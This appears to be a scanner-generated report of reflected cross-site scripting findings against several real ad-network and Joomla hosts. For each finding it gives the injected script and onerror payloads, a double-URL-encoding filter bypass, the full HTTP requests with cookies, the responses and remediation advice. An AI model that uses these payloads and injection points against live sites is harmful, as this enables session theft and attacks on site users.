GET /json?c=OXM_327285992212e0e8%3balert(1)//1d431df288b&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=728x90&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17101&hrid=39925b34906404a722d1479181f4316b-1295921102&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; p=1295921102; _wc[1295921102372]=H4sIAAAAAAAAAONgYGRg0D7MwcDEwNCxkYOBmYEh_zwDANrv7-sWAAAA
The value of the c request parameter is copied into the HTML document as plain text between tags. The payload b3df4<script>alert(1)</script>6007943e0fa was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /json?c=OXM_15781025984b3df4<script>alert(1)</script>6007943e0fa&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=468x60&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17099&hrid=dda27c0e92ce176b4b94dc8a5861a24c-1295921101&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe
Response
HTTP/1.1 200 OK Content-Type: text/javascript; charset=iso-8859-1 Cache-Control: no-cache, must-revalidate P3P: CP="CUR ADM OUR NOR STA NID" Connection: close Expires: Mon, 26 Jul 1997 05:00:00 GMT Pragma: no-cache Set-Cookie: s=72705fd6-57d0-40f5-a439-a5c5015891a3; version=1; path=/; domain=.openx.net; Set-Cookie: p=1295929663; version=1; path=/; domain=.openx.net; max-age=63072000;
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 320ca'%3bd13e48cf55b was submitted in the REST URL parameter 7. This input was echoed as 320ca';d13e48cf55b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //ads2/k/886284/2333/172/0/305002290320ca'%3bd13e48cf55b/305002290//0/305/788//2000004/i.js HTTP/1.1 Host: c5.zedo.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1; ZFFAbh=749B826,20|1483_749#365; FFgeo=5386156; FFcat=305,2290,9; FFad=0
Response
HTTP/1.1 200 OK Server: ZEDO 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Vary: Accept-Encoding Content-Type: application/x-javascript X-Varnish: 2085894141 Cache-Control: max-age=2591944 Expires: Wed, 23 Feb 2011 21:58:24 GMT Date: Mon, 24 Jan 2011 21:59:20 GMT Connection: close Content-Length: 5232
var zzDate = new Date(); var zzWindow; var zzURL; if (typeof zzCustom =='undefined'){var zzIdxCustom ='';} else{var zzIdxCustom = zzCustom;} if (typeof zzTrd =='undefined'){var zzIdxTrd ='';} e ...[SNIP]... y_date = new Date(); idx_expiry_date.setTime(idx_expiry_date.getTime() + (30*24*60*60*1000)); var idx_cTime = idx_expiry_date.toGMTString(); var idx_cVal = 'PI=' + 'h749620Za886284' + 'Zc' + '305002290320ca';d13e48cf55b%2C305002290' + 'Zs' + zzIdxSection + 'Zt' + age if(document.domain.match(zd_domain)){ document.cookie = idx_cVal + ';expires=' + idx_cTime + ';domain=' + zd_domain + ';path=/;'; } else { document.wri ...[SNIP]...
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6117'%3b9e9d8ef0603 was submitted in the REST URL parameter 8. This input was echoed as a6117';9e9d8ef0603 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //ads2/k/886284/2333/172/0/305002290/305002290a6117'%3b9e9d8ef0603//0/305/788//2000004/i.js HTTP/1.1 Host: c5.zedo.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1; ZFFAbh=749B826,20|1483_749#365; FFgeo=5386156; FFcat=305,2290,9; FFad=0
Response
HTTP/1.1 200 OK Server: ZEDO 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Vary: Accept-Encoding Content-Type: application/x-javascript X-Varnish: 1041405764 Cache-Control: max-age=2592000 Expires: Wed, 23 Feb 2011 21:59:22 GMT Date: Mon, 24 Jan 2011 21:59:22 GMT Connection: close Content-Length: 5232
var zzDate = new Date(); var zzWindow; var zzURL; if (typeof zzCustom =='undefined'){var zzIdxCustom ='';} else{var zzIdxCustom = zzCustom;} if (typeof zzTrd =='undefined'){var zzIdxTrd ='';} e ...[SNIP]... Date(); idx_expiry_date.setTime(idx_expiry_date.getTime() + (30*24*60*60*1000)); var idx_cTime = idx_expiry_date.toGMTString(); var idx_cVal = 'PI=' + 'h749620Za886284' + 'Zc' + '305002290%2C305002290a6117';9e9d8ef0603' + 'Zs' + zzIdxSection + 'Zt' + age if(document.domain.match(zd_domain)){ document.cookie = idx_cVal + ';expires=' + idx_cTime + ';domain=' + zd_domain + ';path=/;'; } else { document.write('<scr' + ...[SNIP]...
The value of the monid request parameter is copied into the HTML document as plain text between tags. The payload 30c50<img%20src%3da%20onerror%3dalert(1)>dcee7b8ef2c was submitted in the monid parameter. This input was echoed as 30c50<img src=a onerror=alert(1)>dcee7b8ef2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /megamenu/css/maximenuH_CK.php?monid=maximenuCK30c50<img%20src%3da%20onerror%3dalert(1)>dcee7b8ef2c HTTP/1.1 Host: cdn.joomla.org Proxy-Connection: keep-alive Referer: http://www.joomla.org/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 13:56:43 GMT Server: Apache X-Powered-By: PHP/5.2.13 Cache-Control: max-age=300, must-revalidate Content-Type: text/css X-Cache: MISS from cdce-nym011-010.nym011.internap.com X-Cache: MISS from cdce-nym011-011.nym011.internap.com Via: 1.1 cdce-nym011-010.nym011.internap.com:1082 (squid/2.7.STABLE7), 1.0 cdce-nym011-011.nym011.internap.com:80 (squid/2.7.STABLE7) Connection: close
4.56. http://cdn.joomla.org/megamenu/css/maximenuH_CK.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://cdn.joomla.org
Path:
/megamenu/css/maximenuH_CK.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c27c2<img%20src%3da%20onerror%3dalert(1)>c3d9b0cd94d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c27c2<img src=a onerror=alert(1)>c3d9b0cd94d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /megamenu/css/maximenuH_CK.php?monid=maxime/c27c2<img%20src%3da%20onerror%3dalert(1)>c3d9b0cd94dnuCK HTTP/1.1 Host: cdn.joomla.org Proxy-Connection: keep-alive Referer: http://www.joomla.org/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 13:56:46 GMT Server: Apache X-Powered-By: PHP/5.2.13 Cache-Control: max-age=300, must-revalidate Content-Type: text/css X-Cache: MISS from cdce-nym011-015.nym011.internap.com X-Cache: MISS from cdce-nym011-014.nym011.internap.com Via: 1.1 cdce-nym011-015.nym011.internap.com:1080 (squid/2.7.STABLE7), 1.0 cdce-nym011-014.nym011.internap.com:80 (squid/2.7.STABLE7) Connection: close
The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e13f9"><script>alert(1)</script>11d8993dae5 was submitted in the btid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fAe13f9"><script>alert(1)</script>11d8993dae5&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
Response
HTTP/1.1 200 OK Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Thu, 24-Jan-13 04:29:05 GMT Cache-Control: no-cache, no-store P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR' Date: Tue, 25 Jan 2011 03:57:22 GMT Pragma: no-cache Cneonction: close Nncoection: close Accept-Ranges: bytes Last-Modified: Wed, 12 Jan 2011 22:15:42 GMT Server: w55c.net Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy) Content-Type: text/html Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 1379
The value of the ei request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2482"><script>alert(1)</script>b4bb50bcb1f was submitted in the ei parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORKe2482"><script>alert(1)</script>b4bb50bcb1f&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
The value of the rtbhost request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6d85"><script>alert(1)</script>00a8892c12 was submitted in the rtbhost parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.neta6d85"><script>alert(1)</script>00a8892c12&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
Response
HTTP/1.1 200 OK Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Thu, 24-Jan-13 04:28:57 GMT Cache-Control: no-cache, no-store Pragma: no-cache P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR' Date: Tue, 25 Jan 2011 03:57:22 GMT Cneonction: close Nncoection: close Accept-Ranges: bytes Last-Modified: Wed, 12 Jan 2011 22:15:42 GMT Server: w55c.net Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy) Content-Type: text/html Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 1378
The value of the wp_exchange request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68a96"><script>alert(1)</script>a129b5a33ed was submitted in the wp_exchange parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg68a96"><script>alert(1)</script>a129b5a33ed&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
The value of the offerid request parameter is copied into the HTML document as plain text between tags. The payload 51a66<script>alert(1)</script>c6e752edb23 was submitted in the offerid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fs-bin/click?id=Xy0hOcdtU4s&offerid=51a66<script>alert(1)</script>c6e752edb23&type=2&subid=0 HTTP/1.1 Host: click.linksynergy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Content-Length: 258 Date: Mon, 24 Jan 2011 15:01:56 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>Error</title></head><body> Bad number format in offerid: For input string: "51a66<script>alert(1)</script>c6e752edb23" </body> ...[SNIP]...
The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload 9ab3c<script>alert(1)</script>7a127ff3b25 was submitted in the cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fimbid/?cachebuster=1295921111939Gck&cb=window[%22AIIcb%22]9ab3c<script>alert(1)</script>7a127ff3b25&sz=728x90&api=2&enc=1.1&est=b560d84a436c1f260f16c34efa66d8e3&l=52f2b867-a818-426d-a674-eefac27a73f6&ega=&neg=&pub=2094107610&pcat=29&ck=1&fl=1&d=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: delb.opt.fimserve.com Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pfuid=ClIoJk0pDkd8SnPo7AmDAg==; UI=284ab5a022ca529df|f..9.f.f.f.f@@f@@f@@f@@f@@f@@f; LO=00JW6MJ6I1c0G05B0010OPU; ssrtb=0
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://www.fimserve.com/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR DELa SAMa UNRa OTRa IND UNI PUR NAV INT DEM CNT PRE" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 110 Date: Tue, 25 Jan 2011 04:30:16 GMT
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acd8e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec304c81e309 was submitted in the REST URL parameter 1. This input was echoed as acd8e"><img src=a onerror=alert(1)>c304c81e309 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /aacd8e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec304c81e309 HTTP/1.1 Host: developer.joomla.org Proxy-Connection: keep-alive Referer: http://developer.joomla.org/a9be7%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec8433896990 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=228838275.1295835725.1.1.utmcsr=joomla.org|utmccn=(referral)|utmcmd=referral|utmcct=/download.html; __utmz=194671032.1295885228.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/13; __utma=194671032.1441739327.1295885228.1295885228.1295885228.1; __utma=194671032.1441739327.1295885228.1295885228.1295885228.1; 39f24a85b5d169a21046edfe6eaa5320=24d4dc7aa5497203c5eea18807f36bae
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2f1d%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e956a7445bcc was submitted in the REST URL parameter 1. This input was echoed as c2f1d"><img src=a onerror=alert(1)>956a7445bcc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /c2f1d%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e956a7445bcc HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 39f24a85b5d169a21046edfe6eaa5320=95e1cdffac3a54787d3c76b571d6fde2; __utmz=194671032.1295890937.1.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=194671032.1441739327.1295885228.1295885228.1295885228.1; __utmc=194671032; __utmb=194671032.18.10.1295890937;
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e835%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e03e4a9b113f was submitted in the REST URL parameter 1. This input was echoed as 6e835"><img src=a onerror=alert(1)>03e4a9b113f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /6e835%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e03e4a9b113f HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 39f24a85b5d169a21046edfe6eaa5320=95e1cdffac3a54787d3c76b571d6fde2; __utmz=194671032.1295890937.1.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=194671032.1441739327.1295885228.1295885228.1295885228.1; __utmc=194671032; __utmb=194671032.18.10.1295890937;
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9be7%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec8433896990 was submitted in the REST URL parameter 1. This input was echoed as a9be7"><img src=a onerror=alert(1)>c8433896990 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /a9be7%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec8433896990 HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fee9a%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e313d6b92d96 was submitted in the REST URL parameter 2. This input was echoed as fee9a"><img src=a onerror=alert(1)>313d6b92d96 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
